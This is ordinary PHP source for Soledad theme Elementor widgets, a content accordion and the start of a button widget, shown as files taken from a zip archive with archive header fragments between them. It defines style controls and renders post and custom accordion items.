				'type'      => Controls_Manager::CHOOSE,
				'options'   => [
					'flex-start' => [
						'title' => __( 'Top', 'soledad' ),
						'icon'  => 'eicon-v-align-top',
					],
					'center'     => [
						'title' => __( 'Center', 'soledad' ),
						'icon'  => 'eicon-v-align-middle',
					],
					'flex-end'   => [
						'title' => __( 'Bottom', 'soledad' ),
						'icon'  => 'eicon-v-align-bottom',
					],
				],
				'selectors' => [
					'{{WRAPPER}} .penci-ct-accordion-content' => 'justify-content: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'active_item',
			[
				'label'     => esc_html__( 'Active Item', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'default'   => 'yes',
				'separator' => 'before'
			]
		);

		$this->add_control(
			'active_item_number',
			[
				'label'       => __( 'Item Number', 'soledad' ),
				'description' => __( 'Type your item number', 'soledad' ),
				'type'        => Controls_Manager::NUMBER,
				'default'     => 1,
				'condition'   => [
					'active_item' => 'yes'
				]
			]
		);

		$this->add_responsive_control(
			'active_item_expand',
			[
				'label'          => esc_html__( 'Active Item Column Expand', 'soledad' ),
				'type'           => Controls_Manager::SLIDER,
				'range'          => [
					'px' => [
						'min' => 1,
						'max' => 20,
					],
				],
				'default'        => [
					'size' => 6
				],
				'tablet_default' => [
					'size' => 6,
				],
				'mobile_default' => [
					'size' => 10,
				],
				'selectors'      => [
					'{{WRAPPER}} .penci-ct-accordion-item.active' => 'flex: {{SIZE}};',
				],
			]
		);

		$this->add_control(
			'show_title',
			[
				'label'     => esc_html__( 'Show Title', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'default'   => 'yes',
				'separator' => 'before'
			]
		);

		$this->add_control(
			'show_sub_title',
			[
				'label'   => esc_html__( 'Show Sub Title/Categories', 'soledad' ),
				'type'    => Controls_Manager::SWITCHER,
				'default' => 'yes',
			]
		);

		$this->add_control(
			'show_text',
			[
				'label'   => esc_html__( 'Show Text/Post Excerpt', 'soledad' ),
				'type'    => Controls_Manager::SWITCHER,
				'default' => 'yes',
			]
		);

		$this->add_control(
			'show_button',
			[
				'label'   => esc_html__( 'Show Button/Read More', 'soledad' ),
				'type'    => Controls_Manager::SWITCHER,
				'default' => 'yes',
			]
		);

		$this->add_control(
			'hr',
			[
				'type' => Controls_Manager::DIVIDER,
			]
		);

		$this->add_control(
			'hide_on_mobile_title',
			[
				'label'     => esc_html__( 'Hide Title on Mobile', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'condition' => [
					'show_title' => 'yes'
				]
			]
		);

		$this->add_control(
			'hide_on_mobile_sub_title',
			[
				'label'     => esc_html__( 'Hide Sub Title on Mobile', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'condition' => [
					'show_sub_title' => 'yes'
				]
			]
		);

		$this->add_control(
			'hide_on_mobile_text',
			[
				'label'     => esc_html__( 'Hide Text on Mobile', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'condition' => [
					'show_text' => 'yes'
				]
			]
		);

		$this->add_control(
			'hide_on_mobile_button',
			[
				'label'     => esc_html__( 'Hide Button on Mobile', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'condition' => [
					'show_button' => 'yes'
				]
			]
		);

		$this->end_controls_section();

		//Style
		$this->start_controls_section(
			'section_image_accordion_style',
			[
				'label' => __( 'Content Accordion', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			]
		);

		$this->add_control(
			'image_accordion_overlay_color',
			[
				'label'     => __( 'Overlay Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-ct-accordion-item .penci-ct-accordion-content:before' => 'background: {{VALUE}};',
				],
			]
		);

		$this->add_responsive_control(
			'tabs_content_padding',
			[
				'label'      => __( 'Content Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', 'em', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-ct-accordion-content' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
			]
		);

		$this->add_control(
			'image_accordion_divider_heading',
			[
				'label'     => __( 'Divider', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			]
		);

		$this->add_control(
			'image_accordion_divider_color',
			[
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-ct-accordion-item:after' => 'background: {{VALUE}};',
				],
			]
		);

		$this->add_responsive_control(
			'image_accordion_divider_width',
			[
				'label'     => esc_html__( 'Width', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => [
					'px' => [
						'min' => 0,
						'max' => 10,
					],
				],
				'selectors' => [
					'{{WRAPPER}} .penci-ct-accordion-item:after' => 'width: {{SIZE}}{{UNIT}}; right: calc(-{{SIZE}}{{UNIT}} / 2);',
				],
				'condition' => [
					'skin_type'         => [ 'default' ],
					'enable_item_style' => ''
				],
			]
		);

		$this->add_responsive_control(
			'image_accordion_divider_width_skin',
			[
				'label'       => esc_html__( 'Width', 'soledad' ),
				'type'        => Controls_Manager::SLIDER,
				'range'       => [
					'px' => [
						'min' => 0,
						'max' => 10,
					],
				],
				'condition'   => [
					'skin_type'         => [ 'vertical' ],
					'enable_item_style' => ''
				],
				'render_type' => 'ui',
				'selectors'   => [
					'{{WRAPPER}} .penci-ct-accordion-item:after' => '--divider-width: {{SIZE}}{{UNIT}}; --divider-bottom: -{{SIZE}}{{UNIT}};'
				],
			]
		);

		$this->add_responsive_control(
			'enable_item_style',
			[
				'label'     => esc_html__( 'Enable Item Style', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'separator' => 'before',
			]
		);

		$this->add_responsive_control(
			'item_column_gap',
			[
				'label'     => esc_html__( 'Item Gap', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'selectors' => [
					'{{WRAPPER}} .penci-ct-accordion'            => 'grid-gap: {{SIZE}}{{UNIT}};',
					'{{WRAPPER}} .penci-ct-accordion-item:after' => 'width: 0; right: 0; --divider-width: 0; --divider-bottom: -0;',
				],
				'condition' => [
					'enable_item_style' => 'yes',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Border::get_type(),
			[
				'name'        => 'item_border',
				'placeholder' => '1px',
				'default'     => '1px',
				'selector'    => '{{WRAPPER}} .penci-ct-accordion-item',
				'condition'   => [
					'enable_item_style' => 'yes',
				],
			]
		);

		$this->add_responsive_control(
			'item_radius',
			[
				'label'      => __( 'Border Radius', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-ct-accordion-item' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
				'condition'  => [
					'enable_item_style' => 'yes',
				],
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_title',
			[
				'label'     => esc_html__( 'Title', 'soledad' ),
				'tab'       => Controls_Manager::TAB_STYLE,
				'condition' => [
					'show_title' => [ 'yes' ],
				],
			]
		);

		$this->add_control(
			'title_color',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-ct-accordion .penci-ct-accordion-title' => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_responsive_control(
			'title_spacing',
			[
				'label'     => esc_html__( 'Spacing', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'selectors' => [
					'{{WRAPPER}} .penci-ct-accordion-title' => 'padding-bottom: {{SIZE}}{{UNIT}}',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			[
				'name'     => 'title_typography',
				'label'    => esc_html__( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-ct-accordion-title',
			]
		);

		$this->add_group_control(
			Group_Control_Text_Stroke::get_type(),
			[
				'name'     => 'title_text_stroke',
				'label'    => __( 'Text Stroke', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-ct-accordion-title',
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_sub_title',
			[
				'label'     => esc_html__( 'Sub Title', 'soledad' ),
				'tab'       => Controls_Manager::TAB_STYLE,
				'condition' => [
					'show_sub_title' => [ 'yes' ],
				],
			]
		);

		$this->add_control(
			'sub_title_color',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-ct-accordion .penci-ct-accordion-sub-title' => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_responsive_control(
			'sub_title_spacing',
			[
				'label'     => esc_html__( 'Spacing', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'selectors' => [
					'{{WRAPPER}} .penci-ct-accordion-sub-title' => 'margin-bottom: {{SIZE}}{{UNIT}}',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			[
				'name'     => 'sub_title_typography',
				'label'    => esc_html__( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-ct-accordion-sub-title',
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_post_meta',
			[
				'label'     => esc_html__( 'Post Meta', 'soledad' ),
				'tab'       => Controls_Manager::TAB_STYLE,
				'condition' => [
					'content_settings' => [ 'post' ],
				],
			]
		);

		$this->add_control(
			'post_meta_color',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-ct-meta span, {{WRAPPER}} .penci-ct-meta span a' => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_responsive_control(
			'post_meta_spacing',
			[
				'label'     => esc_html__( 'Spacing', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'selectors' => [
					'{{WRAPPER}} .penci-ct-meta' => 'margin-bottom: {{SIZE}}{{UNIT}}',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			[
				'name'     => 'post_meta_typography',
				'label'    => esc_html__( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-ct-meta span,{{WRAPPER}} .penci-ct-meta a',
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_description',
			[
				'label'     => esc_html__( 'Text', 'soledad' ),
				'tab'       => Controls_Manager::TAB_STYLE,
				'condition' => [
					'show_text' => [ 'yes' ],
				],
			]
		);

		$this->add_control(
			'description_color',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-ct-accordion .penci-ct-accordion-text, {{WRAPPER}} .penci-ct-accordion .penci-ct-accordion-text *' => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_responsive_control(
			'description_spacing',
			[
				'label'     => esc_html__( 'Spacing', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'selectors' => [
					'{{WRAPPER}} .penci-ct-accordion-text' => 'padding-bottom: {{SIZE}}{{UNIT}}',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			[
				'name'     => 'description_typography',
				'label'    => esc_html__( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-ct-accordion-text',
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_button',
			[
				'label'     => esc_html__( 'Button', 'soledad' ),
				'tab'       => Controls_Manager::TAB_STYLE,
				'condition' => [
					'show_button' => 'yes',
				],
			]
		);

		$this->start_controls_tabs( 'tabs_button_style' );

		$this->start_controls_tab(
			'tab_button_normal',
			[
				'label' => esc_html__( 'Normal', 'soledad' ),
			]
		);

		$this->add_control(
			'button_text_color',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-ct-accordion .penci-ct-accordion-button a' => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Background::get_type(),
			[
				'name'     => 'button_background',
				'selector' => '{{WRAPPER}} .penci-ct-accordion-button a',
			]
		);

		$this->add_group_control(
			Group_Control_Border::get_type(),
			[
				'name'      => 'button_border',
				'label'     => esc_html__( 'Border', 'soledad' ),
				'selector'  => '{{WRAPPER}} .penci-ct-accordion-button a',
				'separator' => 'before',
			]
		);

		$this->add_responsive_control(
			'button_border_radius',
			[
				'label'      => esc_html__( 'Border Radius', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-ct-accordion-button a' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
				'condition'  => [
					'border_radius_advanced_show!' => 'yes',
				],
			]
		);

		$this->add_control(
			'border_radius_advanced_show',
			[
				'label' => __( 'Advanced Radius', 'soledad' ),
				'type'  => Controls_Manager::SWITCHER,
			]
		);

		$this->add_responsive_control(
			'border_radius_advanced',
			[
				'label'       => esc_html__( 'Radius', 'soledad' ),
				'description' => sprintf( __( 'For example: <b>%1s</b> or Go <a href="%2s" target="_blank">this link</a> and copy and paste the radius value.', 'soledad' ), '30% 70% 82% 18% / 46% 62% 38% 54%', 'https://9elements.github.io/fancy-border-radius/' ),
				'type'        => Controls_Manager::TEXT,
				'size_units'  => [ 'px', '%' ],
				'separator'   => 'after',
				'default'     => '30% 70% 82% 18% / 46% 62% 38% 54%',
				'selectors'   => [
					'{{WRAPPER}} .penci-ct-accordion-button a' => 'border-radius: {{VALUE}}; overflow: hidden;',
				],
				'condition'   => [
					'border_radius_advanced_show' => 'yes',
				],
			]
		);

		$this->add_responsive_control(
			'button_padding',
			[
				'label'      => esc_html__( 'Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', 'em', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-ct-accordion-button a' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
				'separator'  => 'before',
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			[
				'name'     => 'button_typography',
				'label'    => esc_html__( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-ct-accordion-button a',
			]
		);

		$this->add_group_control(
			Group_Control_Box_Shadow::get_type(),
			[
				'name'     => 'button_box_shadow',
				'selector' => '{{WRAPPER}} .penci-ct-accordion-button a',
			]
		);

		$this->end_controls_tab();

		$this->start_controls_tab(
			'tab_button_hover',
			[
				'label' => esc_html__( 'Hover', 'soledad' ),
			]
		);

		$this->add_control(
			'button_hover_color',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-ct-accordion .penci-ct-accordion-button a:hover' => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Background::get_type(),
			[
				'name'     => 'button_hover_background',
				'selector' => '{{WRAPPER}} .penci-ct-accordion-button a:hover',
			]
		);

		$this->add_control(
			'button_hover_border_color',
			[
				'label'     => esc_html__( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'condition' => [
					'button_border_border!' => '',
				],
				'selectors' => [
					'{{WRAPPER}} .penci-ct-accordion-button a:hover' => 'border-color: {{VALUE}};',
				],
			]
		);

		$this->end_controls_tab();

		$this->end_controls_tabs();

		$this->end_controls_section();

	}

	public function render_accordion_content( $item, $title_key, $button_key ) {
		$settings = $this->get_settings_for_display();
		if ( ! empty( $item['title_link']['url'] ) ) {
			$this->add_link_attributes( $title_key, $item['title_link'] );
		}

		if ( ! empty( $item['button_link']['url'] ) ) {
			$this->add_link_attributes( $button_key, $item['button_link'] );
		}
		?>
        <div class="penci-ct-accordion-content">
			<?php if ( $item['image_accordion_sub_title'] && ( 'yes' == $settings['show_sub_title'] ) ) : ?>
                <div <?php $this->print_render_attribute_string( 'penci-ct-accordion-sub-title' ); ?>>
					<?php echo esc_html( $item['image_accordion_sub_title'] ); ?>
                </div>
			<?php endif; ?>

			<?php if ( $item['image_accordion_title'] && ( 'yes' == $settings['show_title'] ) ) : ?>
				<?php if ( '' !== $item['title_link']['url'] ) : ?>
                    <a <?php $this->print_render_attribute_string( $title_key ); ?>>
				<?php endif; ?>
                <h3 <?php $this->print_render_attribute_string( 'penci-ct-accordion-title' ); ?>>
					<?php echo esc_html( $item['image_accordion_title'] ); ?>
                </h3>
				<?php if ( '' !== $item['title_link']['url'] ) : ?>
                    </a>
				<?php endif; ?>
			<?php endif; ?>

			<?php if ( $item['image_accordion_text'] && ( 'yes' == $settings['show_text'] ) ) : ?>
                <div <?php $this->print_render_attribute_string( 'penci-ct-accordion-text' ); ?>>
					<?php echo wp_kses_post( $this->parse_text_editor( $item['image_accordion_text'] ) ); ?>
                </div>
			<?php endif; ?>

			<?php if ( $item['image_accordion_button'] && ( 'yes' == $settings['show_button'] ) ) : ?>
                <div <?php $this->print_render_attribute_string( 'penci-ct-accordion-button' ); ?>>
					<?php if ( '' !== $item['button_link']['url'] ) : ?>
                    <a <?php $this->print_render_attribute_string( $button_key ); ?>>
						<?php endif; ?>
						<?php echo wp_kses_post( $item['image_accordion_button'] ); ?>
						<?php if ( '' !== $item['button_link']['url'] ) : ?>
                    </a>
				<?php endif; ?>
                </div>
			<?php endif; ?>
        </div>
		<?php
	}

	public function render_posts() {
		$settings         = $this->get_settings_for_display();
		$original_postype = $settings['posts_post_type'];

		if ( in_array( $original_postype, [
				'current_query',
				'related_posts'
			] ) && penci_elementor_is_edit_mode() && penci_is_builder_template() ) {
			$settings['posts_post_type'] = 'post';
		}
		$archive_buider_check = $settings['posts_post_type'];

		$args = Query_Control::get_query_args( 'posts', $settings );

		$ppp = $settings['posts_per_page'] ? $settings['posts_per_page'] : get_option( 'posts_per_page' );
		if ( in_array( $original_postype, [ 'current_query', 'related_posts' ] ) ) {
			$paged = ( get_query_var( 'paged' ) ) ? get_query_var( 'paged' ) : 1;
			if ( 'current_query' == $original_postype ) {
				$ppp = isset( $settings['arposts_per_page'] ) && $settings['arposts_per_page'] ? $settings['arposts_per_page'] : $ppp;
			}
			$offset = 0;

			if ( $ppp ) {
				$args['posts_per_page'] = $ppp;
			}
			if ( isset( $settings['arposts_new'] ) && $settings['arposts_new'] == 'yes' ) {
				$args['paged'] = 1;
			}
			if ( 0 < $settings['offset'] ) {
				$offset = $settings['offset'];
			}

			if ( ! empty( $settings['offset'] ) && $paged > 1 ) {
				$offset = $settings['offset'] + ( ( $paged - 1 ) * $ppp );
			}

			if ( $offset ) {
				$args['offset'] = $offset;
			}
		}

		$query_custom = new \WP_Query( $args );

		if ( ! $query_custom->have_posts() ) {
			echo $this->show_missing_settings( 'Content Accordion', penci_get_setting( 'penci_ajaxsearch_no_post' ) );
		}

		?>
        <div <?php $this->print_render_attribute_string( 'content-accordion' ); ?>>
			<?php
			while ( $query_custom->have_posts() ) : $query_custom->the_post();
				$slide_image = get_the_post_thumbnail_url();
				$this->add_render_attribute( 'content-accordion-item', 'class', 'penci-ct-accordion-item penci-lazy penci-image-holder', true );
				?>
				<div <?php $this->print_render_attribute_string( 'content-accordion-item' ); ?>
                            data-bgset="<?php echo esc_url( $slide_image ); ?>">
					<?php $this->show_post_content( $settings ); ?>
                </div>
				<?php
			endwhile;
			wp_reset_postdata();
			?>
        </div>
		<?php
	}

	public function show_post_content( $settings ) {
		$primary_cat = true;
		$post_meta   = $settings['postmeta'];
		?>
        <div class="penci-ct-accordion-content">
			<?php if ( 'yes' == $settings['show_sub_title'] ) : ?>
                <div <?php $this->print_render_attribute_string( 'penci-ct-accordion-sub-title' ); ?>>
					<?php penci_category( '', $primary_cat ); ?>
                </div>
			<?php endif; ?>

			<?php if ( 'yes' == $settings['show_title'] ) : ?>
                <h3 <?php $this->print_render_attribute_string( 'penci-ct-accordion-title' ); ?>>
                    <a href="<?php the_permalink(); ?>">
						<?php the_title(); ?>
                    </a>
                </h3>
			<?php endif;
			if ( ( isset( $settings['cspost_enable'] ) && $settings['cspost_enable'] ) || ( count( array_intersect( array(
						'author',
						'date',
						'comment',
						'views',
						'reading',
					), $post_meta ) ) > 0 ) ) { ?>
                <div class="grid-post-box-meta penci-ct-meta">
                    <div class="pcbg-meta-desc">
						<?php if ( in_array( 'author', $post_meta ) ) : ?>
                            <span class="penci-ct-date-author author-italic author vcard">
						<?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
									penci_coauthors_posts_links();
								else: ?>
                                    <a class="author-url url fn n"
                                       href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
								<?php endif; ?>
					</span>
						<?php endif; ?>
						<?php if ( in_array( 'date', $post_meta ) ) : ?>
                            <span class="penci-ct-date"><?php penci_soledad_time_link(); ?></span>
						<?php endif; ?>
						<?php if ( in_array( 'comment', $post_meta ) ) : ?>
                            <span class="penci-ct-comment">
						<a href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a>
					</span>
						<?php endif; ?>
						<?php
						if ( in_array( 'views', $post_meta ) ) {
							echo '<span>';
							echo penci_get_post_views( get_the_ID() );
							echo ' ' . penci_get_setting( 'penci_trans_countviews' );
							echo '</span>';
						}
						?>
						<?php
						$hide_readtime = in_array( 'reading', $post_meta ) ? false : true;
						if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                            <span class="penci-ct-readtime"><?php penci_reading_time(); ?></span>
						<?php endif; ?>
						<?php echo penci_show_custom_meta_fields( [
							'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
							'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
							'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
							'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
							'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
						] ); ?>
						<?php do_action( 'penci_extra_meta' ); ?>
                    </div>
                </div>
			<?php }
			$excerpt_length = '20';
			if ( 'yes' == $settings['show_text'] ) : ?>
                <div <?php $this->print_render_attribute_string( 'penci-ct-accordion-text' ); ?>>
					<?php penci_the_excerpt( $excerpt_length ); ?>
                </div>
			<?php endif; ?>

			<?php if ( 'yes' == $settings['show_button'] ) : ?>
                <div <?php $this->print_render_attribute_string( 'penci-ct-accordion-button' ); ?>>
                    <a href="<?php the_permalink(); ?>">
						<?php echo penci_get_setting( 'penci_trans_read_more' ); ?>
                    </a>
                </div>
			<?php endif; ?>
        </div>
		<?php
	}

	public static function show_missing_settings( $label, $mess ) {
		$output = '';
		if ( current_user_can( 'manage_options' ) ) {
			$output .= '<div class="penci-missing-settings">';
			$output .= '<p style="margin-bottom: 4px;">This message appears for administrator users only</p>';
			$output .= '<span>' . $label . '</span>';
			$output .= $mess;
			$output .= '</div>';
		}

		return $output;
	}

	public function render() {
		$settings = $this->get_settings_for_display();
		$id       = $this->get_id();

		if ( $settings['image_accordion_event'] ) {
			$imageAccordionEvent = $settings['image_accordion_event'];
		} else {
			$imageAccordionEvent = false;
		}

		$this->add_render_attribute(
			[
				'content-accordion' => [
					'id'            => 'penci-ct-accordion-' . $this->get_id(),
					'class'         => 'penci-ct-accordion',
					'data-settings' => [
						wp_json_encode( array_filter( [
							'tabs_id'          => 'penci-ct-accordion-' . $this->get_id(),
							'mouse_event'      => $imageAccordionEvent,
							'activeItem'       => $settings['active_item'] == 'yes' ? true : false,
							'activeItemNumber' => $settings['active_item_number']
						] ) )
					]
				]
			]
		);

		$this->add_render_attribute( 'penci-ct-accordion-title', 'class', 'penci-ct-accordion-title', true );
		$this->add_render_attribute( 'penci-ct-accordion-sub-title', 'class', 'penci-ct-accordion-sub-title', true );
		$this->add_render_attribute( 'penci-ct-accordion-text', 'class', 'penci-ct-accordion-text', true );
		$this->add_render_attribute( 'penci-ct-accordion-button', 'class', 'penci-ct-accordion-button', true );

		if ( 'yes' == $settings['hide_on_mobile_title'] ) {
			$this->add_render_attribute( 'penci-ct-accordion-title', 'class', 'penci-ct-accordion-title pccthide-m', true );
		}
		if ( 'yes' == $settings['hide_on_mobile_sub_title'] ) {
			$this->add_render_attribute( 'penci-ct-accordion-sub-title', 'class', 'penci-ct-accordion-sub-title pccthide-m', true );
		}
		if ( 'yes' == $settings['hide_on_mobile_text'] ) {
			$this->add_render_attribute( 'penci-ct-accordion-text', 'class', 'penci-ct-accordion-text pccthide-m', true );
		}
		if ( 'yes' == $settings['hide_on_mobile_button'] ) {
			$this->add_render_attribute( 'penci-ct-accordion-button', 'class', 'penci-ct-accordion-button pccthide-m', true );
		}

		if ( $settings['content_settings'] == 'post' ) {
			$this->render_posts();
		} else {
			$this->render_custom();
		}
	}

	public function render_custom() {
		$settings = $this->get_settings_for_display();
		if ( empty( $settings['image_accordion_items'] ) ) {
			return;
		}
		?>

        <div <?php $this->print_render_attribute_string( 'content-accordion' ); ?>>
			<?php foreach ( $settings['image_accordion_items'] as $index => $item ) :

				$title_key = 'title_to_' . $index;
				$button_key = 'button_to_' . $index;

				$slide_image = Group_Control_Image_Size::get_attachment_image_src( $item['slide_image']['id'], 'thumbnail_size', $settings );
				if ( ! $slide_image ) {
					$slide_image = $item['slide_image']['url'];
				}
				$this->add_render_attribute( 'content-accordion-item', 'class', 'penci-ct-accordion-item penci-lazy penci-image-holder', true );
				?>

				
                <div <?php $this->print_render_attribute_string( 'content-accordion-item' ); ?>
                        data-bgset="<?php echo esc_url( $slide_image ); ?>">
					<?php $this->render_accordion_content( $item, $title_key, $button_key ); ?>
                </div>
			

			<?php endforeach; ?>
        </div>
		<?php
	}
}
PK     N\#W  W  -  inc/elementor/modules/penci-button/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciButton;

use PenciSoledadElementor\Base\Module_Base;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}


class Module extends Module_Base {

	public function get_name() {
		return 'penci-button';
	}

	public function get_widgets() {
		return array( 'PenciButton' );
	}
}
PK     N\+I  I  ;  inc/elementor/modules/penci-button/widgets/penci-button.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciButton\Widgets;

use PenciSoledadElementor\Base\Base_Widget;
use Elementor\Controls_Manager;
use Elementor\Utils;
use Elementor\Group_Control_Typography;
use Elementor\Group_Control_Text_Shadow;
use Elementor\Group_Control_Box_Shadow;
use Elementor\Group_Control_Background;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciButton extends Base_Widget {

	public function get_name() {
		return 'penci-button';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Button', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-button';
	}

	public function get_categories() {
		return array( 'penci-elements' );
	}

	public function get_keywords() {
		return array( 'button', 'click', 'penci', 'soledad' );
	}

	protected function register_controls() {

		$this->start_controls_section(
			'section_general',
			array(
				'label' => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Button', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);

		$this->add_control(
			'text',
			array(
				'label'       => __( 'Button Text', 'soledad' ),
				'type'        => Controls_Manager::TEXT,
				'default'     => __( 'Click Here', 'soledad' ),
				'placeholder' => __( 'Add Button Text Here', 'soledad' ),
			)
		);

		$this->add_control(
			'link',
			array(
				'label'       => __( 'Link', 'elementor' ),
				'type'        => Controls_Manager::URL,
				'placeholder' => __( 'https://your-link.com', 'soledad' ),
				'default'     => array(
					'url' => 'https://example.com/',
				),
			)
		);

		$this->add_responsive_control(
			'align',
			array(
				'label'   => __( 'Alignment', 'elementor' ),
				'type'    => Controls_Manager::CHOOSE,
				'options' => array(
					'left'    => array(
						'title' => __( 'Left', 'elementor' ),
						'icon'  => 'eicon-text-align-left',
					),
					'center'  => array(
						'title' => __( 'Center', 'elementor' ),
						'icon'  => 'eicon-text-align-center',
					),
					'right'   => array(
						'title' => __( 'Right', 'elementor' ),
						'icon'  => 'eicon-text-align-right',
					),
					'justify' => array(
						'title' => __( 'Full', 'elementor' ),
						'icon'  => 'eicon-text-align-justify',
					),
				),
				'default' => '',
			)
		);

		$this->add_responsive_control(
			'button_padding',
			array(
				'label'      => __( 'Button Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', '%', 'em' ),
				'selectors'  => array(
					'{{WRAPPER}} .pcbtn-wrapperin' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				),
			)
		);

		$this->add_responsive_control(
			'button_radius',
			array(
				'label'      => __( 'Button Border Radius', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', '%', 'em' ),
				'selectors'  => array(
